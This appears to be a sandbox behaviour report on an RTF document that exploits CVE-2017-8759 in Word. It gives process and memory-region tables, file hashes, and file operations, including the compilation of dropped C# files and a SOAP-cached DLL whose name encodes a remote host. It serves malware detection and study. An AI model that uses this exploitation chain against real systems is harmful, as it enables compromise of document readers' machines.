RTF Doc. Uses CVE-2017-8759 Exploit to Execute Code

Monitored Processes

Behavior Information - Grouped by Category

Process #1: winword.exe

(Host: 244, Network: 20)

Information	Value
ID	#1
File Name	c:\program files\microsoft office\root\office16\winword.exe
Command Line	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"
Initial Working Directory	C:\Users\aETAdzjz\Desktop\
Monitor	Start Time: 00:00:31, Reason: Analysis Target
Unmonitor	End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration	00:02:05

OS Process Information

Information	Value
PID	0x9b0
Parent PID	0x52c (c:\windows\explorer.exe)
Is Created or Modified Executable
Integrity Level	Medium
Username	YKYD69Q\aETAdzjz
Groups	YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) BUILTIN\Administrators (USE_FOR_DENY_ONLY) BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID) LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x A68 0x A64 0x A54 0x A30 0x A2C 0x A28 0x A24 0x A20 0x 9F4 0x 9DC 0x 9D0 0x 9CC 0x 9C4 0x 9BC 0x 9B4 0x B04 0x B08 0x B0C 0x B18 0x B24 0x B28 0x B2C 0x B54 0x B58 0x B5C 0x 0 0x B60 0x B64 0x B68 0x BD0 0x BD4 0x 95C

Region

Name	Start VA	End VA	Type	Permissions	Actions
pagefile_0x0000000000010000	0x00010000	0x0001ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000020000	0x00020000	0x00020fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000030000	0x00030000	0x00033fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000040000	0x00040000	0x00043fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000050000	0x00050000	0x0014ffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000000150000	0x00150000	0x00150fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000160000	0x00160000	0x00160fff	Private Memory	Readable, Writable	Region Actions
private_0x0000000000170000	0x00170000	0x00170fff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000000180000	0x00180000	0x00180fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000000190000	0x00190000	0x0028ffff	Private Memory	Readable, Writable	Region Actions
locale.nls	0x00290000	0x002f6fff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000000300000	0x00300000	0x00306fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000310000	0x00310000	0x00311fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000000320000	0x00320000	0x00320fff	Private Memory	Readable, Writable	Region Actions
private_0x0000000000330000	0x00330000	0x00330fff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000000340000	0x00340000	0x00341fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000350000	0x00350000	0x00351fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000360000	0x00360000	0x00362fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000370000	0x00370000	0x0037ffff	Private Memory	-	Region Actions
private_0x0000000000380000	0x00380000	0x0038ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000000390000	0x00390000	0x0048ffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000000490000	0x00490000	0x00617fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000620000	0x00620000	0x007a0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000007b0000	0x007b0000	0x01baffff	Pagefile Backed Memory	Readable	Region Actions
sortdefault.nls	0x01bb0000	0x01e7efff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000001e80000	0x01e80000	0x02272fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000002280000	0x02280000	0x0237ffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000002380000	0x02380000	0x02382fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000002390000	0x02390000	0x02392fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000023a0000	0x023a0000	0x023a2fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000023b0000	0x023b0000	0x023b2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x00000000023c0000	0x023c0000	0x023fffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002400000	0x02400000	0x02407fff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000002410000	0x02410000	0x02411fff	Pagefile Backed Memory	Readable	Region Actions
kernelbase.dll.mui	0x02420000	0x024dffff	Memory Mapped File	Readable, Writable	Region Actions
private_0x00000000024e0000	0x024e0000	0x024e0fff	Private Memory	Readable, Writable	Region Actions
private_0x00000000024f0000	0x024f0000	0x0256ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002570000	0x02570000	0x02570fff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002580000	0x02580000	0x02580fff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002590000	0x02590000	0x02590fff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002590000	0x02590000	0x0259efff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000025a0000	0x025a0000	0x025a0fff	Private Memory	Readable, Writable	Region Actions
private_0x00000000025b0000	0x025b0000	0x025bffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x00000000025c0000	0x025c0000	0x0269efff	Pagefile Backed Memory	Readable	Region Actions
private_0x00000000026a0000	0x026a0000	0x026c7fff	Private Memory	Readable, Writable	Region Actions
private_0x00000000026d0000	0x026d0000	0x0273afff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002720000	0x02720000	0x02721fff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000002740000	0x02740000	0x02744fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000002750000	0x02750000	0x02750fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000002760000	0x02760000	0x02760fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000002770000	0x02770000	0x02770fff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000002780000	0x02780000	0x02781fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000002790000	0x02790000	0x0279ffff	Private Memory	Readable, Writable	Region Actions
devobj.dll	0x027a0000	0x027b9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msxml6r.dll	0x027c0000	0x027c0fff	Memory Mapped File	Readable	Region Actions
pagefile_0x00000000027d0000	0x027d0000	0x027d0fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x00000000027e0000	0x027e0000	0x028dffff	Private Memory	Readable, Writable	Region Actions
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000011.db	0x028e0000	0x028fefff	Memory Mapped File	Readable	Region Actions
private_0x0000000002900000	0x02900000	0x02900fff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002910000	0x02910000	0x0298ffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000002990000	0x02990000	0x02991fff	Pagefile Backed Memory	Readable	Region Actions
c_1255.nls	0x029a0000	0x029b0fff	Memory Mapped File	Readable	Region Actions
private_0x00000000029d0000	0x029d0000	0x029dffff	Private Memory	Readable, Writable	Region Actions
segoeuil.ttf	0x029e0000	0x02a30fff	Memory Mapped File	Readable	Region Actions
private_0x0000000002a10000	0x02a10000	0x02a10fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002a20000	0x02a20000	0x02a20fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002a20000	0x02a20000	0x02a3efff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002a30000	0x02a30000	0x02a30fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002a50000	0x02a50000	0x02b4ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002b50000	0x02b50000	0x02b6ffff	Private Memory	-	Region Actions
private_0x0000000002b80000	0x02b80000	0x02c7ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002c70000	0x02c70000	0x02c70fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002c80000	0x02c80000	0x02e7ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002e80000	0x02e80000	0x02fb1fff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002e80000	0x02e80000	0x02f7ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002f80000	0x02f80000	0x02f80fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002f90000	0x02f90000	0x02f90fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002fa0000	0x02fa0000	0x02fa0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002fa0000	0x02fa0000	0x02faffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002fb0000	0x02fb0000	0x02fb0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002fc0000	0x02fc0000	0x030bffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000030c0000	0x030c0000	0x030defff	Private Memory	Readable, Writable	Region Actions
private_0x00000000030e0000	0x030e0000	0x031dffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000031e0000	0x031e0000	0x032dffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000032e0000	0x032e0000	0x033dffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x00000000033e0000	0x033e0000	0x03bdffff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000003be0000	0x03be0000	0x03ddffff	Private Memory	Readable, Writable	Region Actions
staticcache.dat	0x03de0000	0x0470ffff	Memory Mapped File	Readable	Region Actions
segoeui.ttf	0x04710000	0x0478efff	Memory Mapped File	Readable	Region Actions
private_0x0000000004790000	0x04790000	0x04790fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000047a0000	0x047a0000	0x0489ffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000048a0000	0x048a0000	0x0499ffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000049a0000	0x049a0000	0x049a0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000049b0000	0x049b0000	0x04aaffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000004ab0000	0x04ab0000	0x04acffff	Private Memory	-	Region Actions
private_0x0000000004af0000	0x04af0000	0x04beffff	Private Memory	Readable, Writable	Region Actions
seguisb.ttf	0x04bf0000	0x04c53fff	Memory Mapped File	Readable	Region Actions
private_0x0000000004c60000	0x04c60000	0x04c6ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000004c90000	0x04c90000	0x04c90fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000004ca0000	0x04ca0000	0x04ca0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000004cb0000	0x04cb0000	0x04cb0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000004cc0000	0x04cc0000	0x04cc0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000004cd0000	0x04cd0000	0x04dcffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000004dd0000	0x04dd0000	0x04dd0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000004de0000	0x04de0000	0x04de0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000004df0000	0x04df0000	0x04df0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000004e00000	0x04e00000	0x04e7ffff	Private Memory	Readable, Writable, Executable	Region Actions
pagefile_0x0000000004e80000	0x04e80000	0x0567ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000005680000	0x05680000	0x05680fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000005690000	0x05690000	0x05690fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000056a0000	0x056a0000	0x056a0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000056b0000	0x056b0000	0x056b0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000056c0000	0x056c0000	0x056c0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000056d0000	0x056d0000	0x056d0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000056e0000	0x056e0000	0x057dffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000057e0000	0x057e0000	0x058dffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000058e0000	0x058e0000	0x058e0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000058e0000	0x058e0000	0x058fefff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000058f0000	0x058f0000	0x058f0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000005900000	0x05900000	0x05900fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000005910000	0x05910000	0x05910fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000005920000	0x05920000	0x05920fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000005930000	0x05930000	0x059affff	Private Memory	Readable, Writable	Region Actions
private_0x00000000059b0000	0x059b0000	0x059b0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000059c0000	0x059c0000	0x059c0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000059d0000	0x059d0000	0x05a4ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000005a50000	0x05a50000	0x05a50fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000005a50000	0x05a50000	0x05a6efff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000005a60000	0x05a60000	0x05a60fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000005a70000	0x05a70000	0x05a70fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000005a80000	0x05a80000	0x05a8ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000005a90000	0x05a90000	0x05e8ffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000005e90000	0x05e90000	0x06e8ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000006e90000	0x06e90000	0x06e90fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000006e90000	0x06e90000	0x06eb0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000006ea0000	0x06ea0000	0x06ea0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000006eb0000	0x06eb0000	0x06eb0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000006ec0000	0x06ec0000	0x06ec0fff	Private Memory	Readable, Writable	Region Actions Download Dump
arial.ttf	0x06f40000	0x06ffcfff	Memory Mapped File	Readable	Region Actions
private_0x0000000007000000	0x07000000	0x0701efff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000007030000	0x07030000	0x070affff	Private Memory	Readable, Writable	Region Actions
private_0x00000000070b0000	0x070b0000	0x074affff	Private Memory	Readable, Writable	Region Actions
private_0x00000000075b0000	0x075b0000	0x076affff	Private Memory	Readable, Writable	Region Actions
private_0x00000000076b0000	0x076b0000	0x07eaffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000007eb0000	0x07eb0000	0x082b0fff	Private Memory	Readable, Writable	Region Actions
private_0x00000000082c0000	0x082c0000	0x086c0fff	Private Memory	Readable, Writable	Region Actions
private_0x00000000086d0000	0x086d0000	0x08ad0fff	Private Memory	Readable, Writable	Region Actions
private_0x0000000008ae0000	0x08ae0000	0x08f9ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000008fa0000	0x08fa0000	0x0939ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000009400000	0x09400000	0x0941ffff	Private Memory	-	Region Actions Download Dump
private_0x0000000009530000	0x09530000	0x0962ffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000099b0000	0x099b0000	0x09aaffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000009ee0000	0x09ee0000	0x09fdffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000009fe0000	0x09fe0000	0x0a0dffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000000000a130000	0x0a130000	0x0a1affff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000000000a320000	0x0a320000	0x0a39ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
private_0x000000000a3a0000	0x0a3a0000	0x0a4a0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000000000a570000	0x0a570000	0x0a57ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000022580000	0x22580000	0x22c4ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000230b0000	0x230b0000	0x231affff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000231b0000	0x231b0000	0x2341ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000233a0000	0x233a0000	0x2341ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000023740000	0x23740000	0x2394ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000375f0000	0x375f0000	0x375fffff	Private Memory	Readable, Writable, Executable	Region Actions
private_0x000000006fff0000	0x6fff0000	0x6fffffff	Private Memory	Readable, Writable, Executable	Region Actions
osppc.dll	0x74d60000	0x74d92fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
user32.dll	0x775e0000	0x776d9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernel32.dll	0x776e0000	0x777fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntdll.dll	0x77800000	0x779a8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
psapi.dll	0x779d0000	0x779d6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
pagefile_0x000000007efe0000	0x7efe0000	0x7f0dffff	Pagefile Backed Memory	Readable	Region Actions
private_0x000000007f0e0000	0x7f0e0000	0x7ffdffff	Private Memory	Readable	Region Actions
private_0x000000007ffe0000	0x7ffe0000	0x7ffeffff	Private Memory	Readable	Region Actions
winword.exe	0x13f660000	0x13f83afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000007febe310000	0x7febe310000	0x7febe31ffff	Private Memory	Readable, Writable, Executable	Region Actions
chart.dll	0x7fee4420000	0x7fee4f18fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
riched20.dll	0x7fee4f20000	0x7fee5142fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dwrite.dll	0x7fee5390000	0x7fee550dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
d3d10warp.dll	0x7fee5510000	0x7fee56dffff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msptls.dll	0x7fee56e0000	0x7fee584ffff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msointl.dll	0x7fee5850000	0x7fee59cafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msores.dll	0x7fee59d0000	0x7feea80efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mso99lres.dll	0x7feea810000	0x7feeb130fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mso.dll	0x7feeb140000	0x7feec41bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mso99lwin32client.dll	0x7feec420000	0x7feecbebfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mso40uiwin32client.dll	0x7feecbf0000	0x7feed4dafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mso30win32client.dll	0x7feed4e0000	0x7feed957fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mso20win32client.dll	0x7feed960000	0x7feedc63fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oart.dll	0x7feedc70000	0x7feeeddbfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
d3d11.dll	0x7feeede0000	0x7feeeea5fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wwlib.dll	0x7feeeeb0000	0x7fef124efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscoreei.dll	0x7fef13f0000	0x7fef1488fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mso40uires.dll	0x7fef1490000	0x7fef1797fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscoree.dll	0x7fef1910000	0x7fef197efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wwintl.dll	0x7fef1980000	0x7fef1a3bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mlang.dll	0x7fef1aa0000	0x7fef1adafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
npmproxy.dll	0x7fef3c70000	0x7fef3c7bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
winspool.drv	0x7fef4210000	0x7fef4280fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msxml6.dll	0x7fef49b0000	0x7fef4ba1fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
api-ms-win-core-file-l1-2-0.dll	0x7fef5310000	0x7fef5312fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
api-ms-win-core-processthreads-l1-1-1.dll	0x7fef5320000	0x7fef5322fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
api-ms-win-core-synch-l1-2-0.dll	0x7fef5330000	0x7fef5332fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
api-ms-win-core-localization-l1-2-0.dll	0x7fef5370000	0x7fef5372fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
api-ms-win-core-file-l2-1-0.dll	0x7fef5380000	0x7fef5382fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
api-ms-win-core-timezone-l1-1-0.dll	0x7fef5550000	0x7fef5552fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ucrtbase.dll	0x7fef55a0000	0x7fef5691fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msimg32.dll	0x7fef5850000	0x7fef5856fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
c2r64.dll	0x7fef5860000	0x7fef5988fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
appvisvstream64.dll	0x7fef5990000	0x7fef5a09fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000007ff00050000	0x7ff00050000	0x7ff0005ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00100000	0x7ff00100000	0x7ff0010ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00110000	0x7ff00110000	0x7ff0017ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00180000	0x7ff00180000	0x7ff0018ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00190000	0x7ff00190000	0x7ff0019ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ffffec0000	0x7ffffec0000	0x7ffffecffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
private_0x000007ffffed0000	0x7ffffed0000	0x7fffff5ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
private_0x000007fffff66000	0x7fffff66000	0x7fffff67fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffff68000	0x7fffff68000	0x7fffff69fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffff6a000	0x7fffff6a000	0x7fffff6bfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffff6c000	0x7fffff6c000	0x7fffff6dfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffff6e000	0x7fffff6e000	0x7fffff6ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffff70000	0x7fffff70000	0x7fffff71fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffff72000	0x7fffff72000	0x7fffff73fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffff74000	0x7fffff74000	0x7fffff75fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffff76000	0x7fffff76000	0x7fffff77fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffff78000	0x7fffff78000	0x7fffff79fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffff7a000	0x7fffff7a000	0x7fffff7bfff	Private Memory	Readable, Writable	Region Actions Download Dump
For performance reasons, the remaining 264 entries are omitted. The remaining entries can be found in flog.txt.

Created Files

Filename	File Size	Hash Values	Actions
c:\users\aetadzjz\desktop\logo.cs	1.07 KB (1098 bytes)	MD5: 667a8968a36880dc4147d2ce00c64b30 SHA1: 48233228f9babdd3bcac5b85d5ae258f91204f7e SHA256: 8aea15951d21f30f44a8d7499472b62473203959659eeb2b9059b64698deacfd	File Actions Show Properties Download
c:\users\aetadzjz\appdata\local\temp\91rxrejg.tmp	0.00 KB (0 bytes)	MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855	File Actions Show Properties
c:\users\aetadzjz\appdata\local\temp\91rxrejg.err	0.00 KB (0 bytes)	MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855	File Actions Show Properties
c:\users\aetadzjz\appdata\local\temp\91rxrejg.0.cs	1.08 KB (1101 bytes)	MD5: 3992ea6c0751d769815a98c4cffcadce SHA1: 6ba244d7eb6a6facd2b4c4e946e26987d2336e8b SHA256: b12a34c289c97db64f4267e5c67b70f4fefedfe28ae6527e7721a6ef3e4e0adc	File Actions Show Properties Download
c:\users\aetadzjz\appdata\local\temp\91rxrejg.cmdline	0.28 KB (288 bytes)	MD5: 8d42a6a6ddda3cb8546ef4cb888dbfa8 SHA1: 2024365b4311bc93867119ceee7c876683fef607 SHA256: f0d80af454b0e9060f13236c0827a4df63d61ac4964a174c999f4aa2895ff00e	File Actions Show Properties Download
c:\users\aetadzjz\appdata\local\temp\91rxrejg.out	0.37 KB (379 bytes)	MD5: 51bfb6f473aa25324ee1ed9830ca806e SHA1: f1fae130030df5b4dff15ed820ca35665886ea98 SHA256: 60a57285c3ccbfa3f03f050681e54c27de4ef1766fe6151104a919b7f7c8fa2e	File Actions Show Properties Download

Host Behavior

File (74)

Operation	Filename	Additional Information	Count	Logfile
Create	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config	desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Users\aETAdzjz\Desktop\Logo.cs	desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Users\aETAdzjz\Desktop\Logo.cs	desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.tmp	desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.0.cs	desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline	desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.out	desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.err	desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ	1	Fn
Create Directory	C:\Windows\system32\com\SOAPAssembly	-	3	Fn
Get Info	C:\Windows\system32\com\SOAPAssembly\	type = file_attributes	3	Fn
Get Info	C:\Windows\system32\com\SOAPAssembly	type = file_attributes	3	Fn
Get Info	C:\Windows\system32\com	type = file_attributes	3	Fn
Get Info	C:\Windows\system32	type = file_attributes	3	Fn
Get Info	C:\Windows	type = file_attributes	3	Fn
Get Info	C:\Users\aETAdzjz\Desktop\http100www4samyrai777m4p-host4in0t0tp4php2thread90.dll	type = file_attributes	1	Fn
Get Info	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config	type = file_attributes	2	Fn
Get Info	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config	type = file_type	2	Fn
Get Info	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config	type = size, size_out = 0	1	Fn
